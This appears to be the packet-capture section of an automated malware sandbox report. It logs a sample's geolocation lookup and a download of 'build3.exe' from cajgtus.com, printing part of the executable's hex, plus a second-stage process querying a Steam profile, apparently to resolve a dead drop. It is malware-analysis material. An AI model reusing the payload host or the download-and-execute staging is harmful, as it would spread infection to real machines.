3	192.168.2.4	49736	211.171.233.129	80	7464	C:\Users\user\Desktop\lzShU2RYJa.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 18:52:02.745238066 CEST	96	OUT	GET /files/1/build3.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 18:52:03.636012077 CEST	1289	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 16:52:22 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 Last-Modified: Mon, 09 Oct 2023 19:50:06 GMT ETag: "4ae00-6074de5a4a562" Accept-Ranges: bytes Content-Length: 306688 Connection: close Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 f8 06 6b 72 99 68 38 72 99 68 38 72 99 68 38 cf d6 fe 38 73 99 68 38 6c cb fd 38 6e 99 68 38 6c cb eb 38 fc 99 68 38 55 5f 13 38 7b 99 68 38 72 99 69 38 c9 99 68 38 6c cb ec 38 32 99 68 38 6c cb fc 38 73 99 68 38 6c cb f9 38 73 99 68 38 52 69 63 68 72 99 68 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0e d2 b9 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6a 03 00 00 98 3b 00 00 00 00 00 20 05 01 00 00 10 00 00 00 80 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 3e 00 00 04 00 00 b0 bf 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 68 03 00 64 00 00 00 00 90 3e 00 00 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 b8 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 68 03 00 00 10 00 00 00 6a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a8 ff 3a 00 00 80 03 00 00 0e 01 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6b 69 63 00 00 00 00 05 00 00 00 00 80 3e 00 00 02 00 00 00 7c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 2f 00 00 00 90 3e 00 00 30 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$6krh8rh8rh88sh8l8nh8l8h8U_8{h8ri8h8l82h8l8sh8l8sh8Richrh8PELaj; @>lhd>/0@.textrhj `.data:n@.kic>\|@.rsrc/>0~@@
Apr 24, 2024 18:52:03.636066914 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 73 03 00 00 00 00 00 8c 73 03 00 9c 73 03 00 00 00 00 00 f6 6b 03 00 0c 6c 03 00 22 6c 03 00 2e 6c 03 00 48 6c 03 00 5a 6c 03 00 70 6c 03 00 86 6c 03 00 96 6c 03 00 ac 6c 03 00 c0 6c 03 00 d0 6c 03 00 ec Data Ascii: ssskl"l.lHlZlpllllllllm m4mBm^mtmmmmmmmnn&n@n\nlnnnnnnnnnoo,o@oTo`opoookooo
Apr 24, 2024 18:52:03.946086884 CEST	1289	IN	Data Raw: 53 00 6f 00 6c 00 6f 00 66 00 75 00 64 00 69 00 20 00 67 00 6f 00 78 00 6f 00 72 00 75 00 76 00 20 00 73 00 61 00 70 00 6f 00 63 00 75 00 7a 00 69 00 00 00 4e 00 69 00 6d 00 69 00 67 00 6f 00 74 00 20 00 67 00 69 00 66 00 6f 00 76 00 75 00 00 00 Data Ascii: Solofudi goxoruv sapocuziNimigot gifovuwelxolatxojiliFapejepuzeh wororuv mezumitelaMawoyujewoyosigubufozo wami xuxolesenawemo dohamefejexe
Apr 24, 2024 18:52:03.946135998 CEST	1289	IN	Data Raw: 00 2c 00 63 00 6c 00 61 00 73 00 73 00 20 00 73 00 74 00 64 00 3a 00 3a 00 61 00 6c 00 6c 00 6f 00 63 00 61 00 74 00 6f 00 72 00 3c 00 63 00 68 00 61 00 72 00 3e 00 20 00 3e 00 20 00 3e 00 20 00 3e 00 3a 00 3a 00 6f 00 70 00 65 00 72 00 61 00 74 Data Ascii: ,class std::allocator<char> > > >::operator +=("this->_Has_container()", 0)C:\Program Files (x86)\Microsoft Visual Stud
Apr 24, 2024 18:52:03.946388006 CEST	1289	IN	Data Raw: 63 00 61 00 74 00 6f 00 72 00 3c 00 63 00 6c 00 61 00 73 00 73 00 20 00 73 00 74 00 64 00 3a 00 3a 00 62 00 61 00 73 00 69 00 63 00 5f 00 73 00 74 00 72 00 69 00 6e 00 67 00 3c 00 63 00 68 00 61 00 72 00 2c 00 73 00 74 00 72 00 75 00 63 00 74 00 Data Ascii: cator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::_Vector_const_iterator
Apr 24, 2024 18:52:03.946444988 CEST	1289	IN	Data Raw: 00 00 00 00 00 73 00 72 00 63 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 6d 00 65 00 6d 00 63 00 70 00 79 00 5f 00 73 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 Data Ascii: src != NULLmemcpy_sf:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.cdst != NULLmemmove_sf:\dd\vctools\crt_bld\sel
Apr 24, 2024 18:52:04.251959085 CEST	1289	IN	Data Raw: 20 00 43 00 2b 00 2b 00 20 00 64 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 61 00 74 00 69 00 6f 00 6e 00 20 00 6f 00 6e 00 20 00 61 00 73 00 73 00 65 00 72 00 74 00 73 00 2e 00 00 00 00 00 6d 00 65 00 6d 00 63 00 70 00 79 00 5f 00 73 00 28 00 Data Ascii: C++ documentation on asserts.memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot
Apr 24, 2024 18:52:04.252012014 CEST	1289	IN	Data Raw: 00 55 00 4c 00 4c 00 29 00 00 00 70 00 75 00 74 00 63 00 00 00 00 00 76 00 73 00 63 00 61 00 6e 00 66 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c Data Ascii: ULL)putcvscanff:\dd\vctools\crt_bld\self_x86\crt\src\scanf.c(format != NULL)f:\dd\vctools\crt_bld\self_x86\crt\src\_file.cf:\dd\vctools\crt_bld\se
Apr 24, 2024 18:52:04.252120972 CEST	1289	IN	Data Raw: 72 65 61 6c 6c 6f 63 28 29 00 00 00 00 00 45 72 72 6f 72 3a 20 6d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 69 6f 6e 3a 20 62 61 64 20 6d 65 6d 6f 72 79 20 62 6c 6f 63 6b 20 74 79 70 65 2e 0a 0a 4d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 65 64 20 61 Data Ascii: realloc()Error: memory allocation: bad memory block type.Memory allocated at %hs(%d).Invalid allocation size: %Iu bytes.Memory allocated at %hs(%d).Client hook re-allocation failure.Client hook re-allocation failure at file %hs
Apr 24, 2024 18:52:04.252170086 CEST	1289	IN	Data Raw: 20 66 72 65 65 20 66 61 69 6c 75 72 65 2e 0a 00 00 00 00 00 00 54 68 65 20 42 6c 6f 63 6b 20 61 74 20 30 78 25 70 20 77 61 73 20 61 6c 6c 6f 63 61 74 65 64 20 62 79 20 61 6c 69 67 6e 65 64 20 72 6f 75 74 69 6e 65 73 2c 20 75 73 65 20 5f 61 6c 69 Data Ascii: free failure.The Block at 0x%p was allocated by aligned routines, use _aligned_free()_msize_dbg%hs located at 0x%p is %Iu bytes long.%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).HEAP C
Apr 24, 2024 18:52:04.252285957 CEST	1289	IN	Data Raw: 61 00 74 00 65 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 4f 62 6a 65 63 74 20 64 75 6d 70 20 63 6f 6d 70 6c 65 74 65 2e 0a 00 00 63 72 74 20 62 6c 6f 63 6b 20 61 74 20 30 78 25 70 2c 20 73 75 62 74 79 70 65 20 25 78 2c 20 25 49 75 Data Ascii: ate != NULLObject dump complete.crt block at 0x%p, subtype %x, %Iu bytes long.normal block at 0x%p, %Iu bytes long.client block at 0x%p, subtype %x, %Iu bytes long.{%ld} %hs(%d) : #File Error#(%d) : Dumping objects

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.139.220	443	7344	C:\Users\user\Desktop\lzShU2RYJa.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 16:51:52 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 16:51:53 UTC	910	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 16:51:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vaEoWCltZpddNIcgiIhMD0eQapwMA0fMNat09lh0QC9TLvq9nRnLdeVVojjNVbtUtAZ9V2T9rodYOYBYZKarCnYlM%2FZ2P4NiBCdvJkSfr6%2FmkyPE77579uZIZYBY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879799bf6aca2f2e-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 16:51:53 UTC	459	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 64 34 62 63 62 31 62 38 61 34 39 34 65 36 62 64 61 34 66 61 62 39 62 31 65 62 61 37 61 31 62 36 62 65 62 31 62 37 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#d4bcb1b8a494e6bda4fab9b1eba7a1b6beb1b7
2024-04-24 16:51:53 UTC	471	IN	Data Raw: d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 39 61 66 32 66 66 66 36 65 61 64 61 61 38 66 33 65 61 62 34 65 66 66 62 61 35 65 39 65 66 66 38 66 30 66 66 66 39 65 65 61 37 61 38 66 33 65 61 62 34 65 66 66 62 22 3e 3c 73 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#9af2fff6eadaa8f3eab4effba5e9eff8f0fff9eea7a8f3eab4effb"><s
2024-04-24 16:51:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.67.139.220	443	7464	C:\Users\user\Desktop\lzShU2RYJa.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 16:51:55 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 16:51:55 UTC	924	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 16:51:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wi55YeB59yNNey%2FLXYVSs3%2FjJVoM6QA%2BIOGBpbejRmmCswgVh2WSKVj%2BSQa3zDVA%2B%2FLFQOUHayLEG6M%2FTwlczj4uOXY%2F1uB8hdg%2FPzDFiomVF618zIcKp8vGiRzF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879799ce7fef5208-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 16:51:55 UTC	445	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 65 63 38 34 38 39 38 30 39 63 61 63 64 65 38 35 39 63 63 32 38 31 38 39 64 33 39 66 39 39 38 65 38 36 38 39 38 66 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#ec8489809cacde859cc28189d39f998e86898f
2024-04-24 16:51:55 UTC	485	IN	Data Raw: d0 be d1 81 d0 be d0 b2 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 32 30 34 38 34 35 34 63 35 30 36 30 31 32 34 39 35 30 30 65 35 35 34 31 31 66 35 33 35 35 34 32 34 61 34 35 34 33 35 34 31 64 31 32 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#2048454c50601249500e55411f5355424a4543541d12
2024-04-24 16:51:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.139.220	443	7540	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 16:51:55 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 16:51:56 UTC	918	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 16:51:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NU7DEvHMSBnYOkXv6pe5vPW%2B0Wi7W4e%2BevBxFt8B9qmKPFxhb%2BYemrARQu%2FT0aOEsyjRgffk5dVAIFhC212nMN8g1HXhr2mPAcxSwvzxkUg%2BrQ4fHeD%2BMj8ddRbs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879799d42dd22b82-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 16:51:56 UTC	451	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 61 65 63 36 63 62 63 32 64 65 65 65 39 63 63 37 64 65 38 30 63 33 63 62 39 31 64 64 64 62 63 63 63 34 63 62 63 64 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#aec6cbc2deee9cc7de80c3cb91dddbccc4cbcd
2024-04-24 16:51:56 UTC	479	IN	Data Raw: d0 b2 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 39 38 66 30 66 64 66 34 65 38 64 38 61 61 66 31 65 38 62 36 65 64 66 39 61 37 65 62 65 64 66 61 66 32 66 64 66 62 65 63 61 35 61 61 66 31 65 38 62 36 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#98f0fdf4e8d8aaf1e8b6edf9a7ebedfaf2fdfbeca5aaf1e8b6
2024-04-24 16:51:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	96.17.209.196	443	7664	C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 16:52:03 UTC	119	OUT	GET /profiles/76561199673019888 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 16:52:03 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 24 Apr 2024 16:52:03 GMT Content-Length: 33790 Connection: close Set-Cookie: sessionid=e0e03b184be319cdf2ea7f49; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C8efca4b9dedd65f9ac922759639cacad; Path=/; Secure; HttpOnly; SameSite=None
2024-04-24 16:52:03 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-04-24 16:52:04 UTC	10062	IN	Data Raw: 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6c 69 6e 6b 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 70 75 6c 6c 64 6f 77 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 53 68 6f 77 4d 65 6e 75 28 20 74 68 69 73 2c 20 27 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 27 2c 20 27 72 69 67 68 74 27 20 29 3b 22 3e 6c 61 6e 67 75 61 67 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6c 6f 63 6b 5f 6e 65 77 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3e 0d 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6f 64 79 20 70 6f 70 75 70 5f 6d 65 6e 75 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: obal_action_link" id="language_pulldown" onclick="ShowMenu( this, 'language_dropdown', 'right' );">language</span><div class="popup_block_new" id="language_dropdown" style="display: none;"><div class="popup_body popup_menu">
